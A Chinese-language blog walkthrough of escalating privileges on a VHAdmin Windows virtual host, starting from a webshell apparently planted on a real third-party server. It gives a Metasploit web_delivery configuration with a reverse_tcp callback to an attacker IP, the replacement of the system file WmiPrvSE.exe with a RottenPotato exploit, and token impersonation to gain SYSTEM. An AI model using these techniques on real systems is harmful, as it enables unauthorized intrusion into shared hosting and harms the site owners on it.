VHAdmin虚拟主机提权实战案例

简介: VHAdmin虚拟主机提权实战案例

0x01 前言

朋友发过来的是一个ASP Webshell,我们先用中国菜刀连接Webshell看下是否能够直接执行系统命令,出现了“[Err] ActiveX 部件不能创建对象”,原因是Wscript.Shell组件被卸载,尝试利用另一个组件Shell.Application执行命令时发现也被卸载了。


0x02 信息搜集

目标机器基本信息:

    支持脚本:ASP(组件被卸载)、ASPX
    目标系统:Windows 2012 R2(IIS8.5)
    当前权限:IIS APPPOOL\AP_v2.0Classic3
    开放端口:21、80、135、445、3389

    VHAdmin虚拟主机(商务中国)特征:

      VHAdmin Version:2013.7.26.15 Builded 2011/10/20
      VHAdmin服务名:VHAdminService
      VHAdmin进程名:VHAdminService.exe、VHAdminTools.exe、VHConfigManager.exe
      网站绝对路径:D:\webhosting\clients\b85f066a-657c-43d1-a219-b6b4cee0c415\wwwroot\
      [...SNIP...]


      0x03 实战提权过程

      (1) 绕过组件执行命令

      我们换上ASPX的一句话木马试试,访问时出现了以下错误,大家看到这种报错时可能会以为是“网站安全狗(IIS版)禁止IIS执行程序”防护功能造成的,虽然它很像,但其实并不是的,具体目标服务器的安全设置当时没有去深入研究。

      我们再换上自己改的一个ASPX执行命令脚本,可以看到是能够正常解析的,但是在执行命令时仍然会提示“拒绝访问。”。这个问题好解决,直接用ASP或ASPX脚本探测目标机器里的可读/写/替换的目录和文件,然后自己上传一个cmd.exe文件即可。

        可读写目录:
        C:\Windows\temp\
        C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\
        可替换文件:
        C:\Windows\WinSxS\amd64_microsoft-windows-wmi-core-providerhost_31bf3856ad364e35_6.3.9600.18265_none_01378f425f4b27cb\WmiPrvSE.exe


        虽然现在通过ASPX脚本能够执行系统命令了,但是只能执行部分命令,而且我们上传的各种提权EXP、MSF载荷文件到可读/写目录中都不能执行,除了自己上传的这个cmd.111,实践测试中遇到的问题要比以下描述复杂的多,这里只是简单的记录了几点比较重要的

        测试-1:

        将提权EXP文件放置Cmd_Path中可以被执行,但测试了几乎所有的提权EXP都没能成功将当前权限提升至System。


        测试-2:

        将MSF EXE载荷文件放置Cmd_Path中执行可以获取Meterpreter会话,但是很多命令都执行不了,如:getuid、list_tokens等等,getpid、ps、netstat、upload、execute这些命令倒是可以正常执行,但用rottenpotato提权EXP必须用到upload、execute、list_tokens,所以这种方法目前不可行,可以尝试利用execute重新执行一个MSF EXE载荷文件,然后再执行list_tokens。



        (2) web_delivery获取会话

        web_delivery模块中配置好相关参数并执行监听,然后在ASPX脚本的Argument参数中执行刚刚生成的Powershell载荷,成功获取到目标机器的Meterpreter会话

          msf > use exploit/multi/script/web_delivery
          msf exploit(web_delivery) > set target 2
          msf exploit(web_delivery) > set payload windows/x64/meterpreter/reverse_tcp
          msf exploit(web_delivery) > set lhost 107.***.***.242
          msf exploit(web_delivery) > set lport 443
          msf exploit(web_delivery) > set URIPATH /
          msf exploit(web_delivery) > exploit



          (3) 替换WmiPrvSE.exe提权

          这里我们就要用到前边ASP脚本探测到的WmiPrvSE.exe可替换文件了,笔者在实战过程中测试了1个小时,最终确定只有这个可替换文件能够执行成功,其它可读/写目录中上传的文件都执行不了。将我们的rottenpotato提权EXP文件名改为WmiPrvSE.exe,上传并替换掉这个文件。


          C:\Windows\WinSxS\amd64_microsoft-windows-wmi-core-providerhost_31bf3856ad364e35_6.3.9600.18265_none_01378f425f4b27cb\WmiPrvSE.exe

          然后在Meterpreter会话中用execute命令执行WmiPrvSE.exe,接着使用use命令加载incognito扩展并执行list_tokens、impersonate_token命令来进行权限提升。


          0x04 事后原因分析

          我们的rottenpotato提权EXP必须在“iis apppool”权限下才能利用成功,用以上方法已经获取到目标机器的SYSTEM权限。有意思的是笔者在这次实战测试中发现用以下两种不同方式执行Payload获取的Meterpreter会话运行权限也不一样,具体原因不明!

          (1) Argument执行Payload

          Argument中执行Powershell载荷获取到的Meterpreter会话是以“iis apppool”权限来运行的,所以我们是可以直接使用upload、execute命令来上传和执行提权EXP的,而且可以用list_tokens、impersonate_token命令获取到目标机器的SYSTEM权限。

          (2) Cmd_Path执行Payload

          Cmd_Path中直接执行64.111载荷是以一种“未知低权限”来运行的,但事后的测试中发现可读/写目录中上传的提权EXP其实也是可以执行的,当时只是因为权限的问题所以没有利用成功。


          注意事项:

          1. Meterpreter会话中无法执行中国菜刀上传的提权EXP,提示:Access is denied(拒绝访问)。
          2. Meterpreter会话中用upload命令上传的提权EXP是可以用execute执行的,删除提权EXP时也只能在当前会话中用rm命令删除,中国菜刀里删除不了。虽然现在可以上传和执行提权EXP了,但是list_tokens命令仍然不能执行,所以也并不推荐此方法。


          相关文章
          |
          4月前
          |
          域名解析 网络协议 安全
          在Linux中,想在命令行下访问某个网站,并且该网站域名还没有解析,如何做?
          在Linux中,想在命令行下访问某个网站,并且该网站域名还没有解析,如何做?
          |
          开发框架 安全 .NET
          星外虚拟主机提权实战案例
          星外虚拟主机提权实战案例
          199 0
          |
          安全 Windows
          记一次景安虚拟主机提权案例
          记一次景安虚拟主机提权案例
          164 0
          |
          安全 PHP Apache
          记一次匈牙利服务器提权案例
          记一次匈牙利服务器提权案例
          91 0
          |
          Web App开发 缓存 数据安全/隐私保护
          phpcms服务器搭建之 phpcms网站基本介绍
          phpcms服务器搭建之 phpcms网站基本介绍
          127 0
          |
          7月前
          |
          安全 关系型数据库 MySQL
          某教程学习笔记(一):09、MYSQL数据库漏洞
          某教程学习笔记(一):09、MYSQL数据库漏洞
          59 0
          |
          安全 关系型数据库 MySQL
          黑吃黑Getshell到提权实战案例
          黑吃黑Getshell到提权实战案例
          331 0
          |
          运维 关系型数据库 MySQL
          绕过360安全卫士提权实战案例
          绕过360安全卫士提权实战案例
          432 1
          |
          应用服务中间件 数据库连接 数据安全/隐私保护
          MSSQL绕过360提权实战案例
          MSSQL绕过360提权实战案例
          338 2
          |
          安全 Shell 数据安全/隐私保护
          记一次提权添加管理员实战案例
          记一次提权添加管理员实战案例
          66 0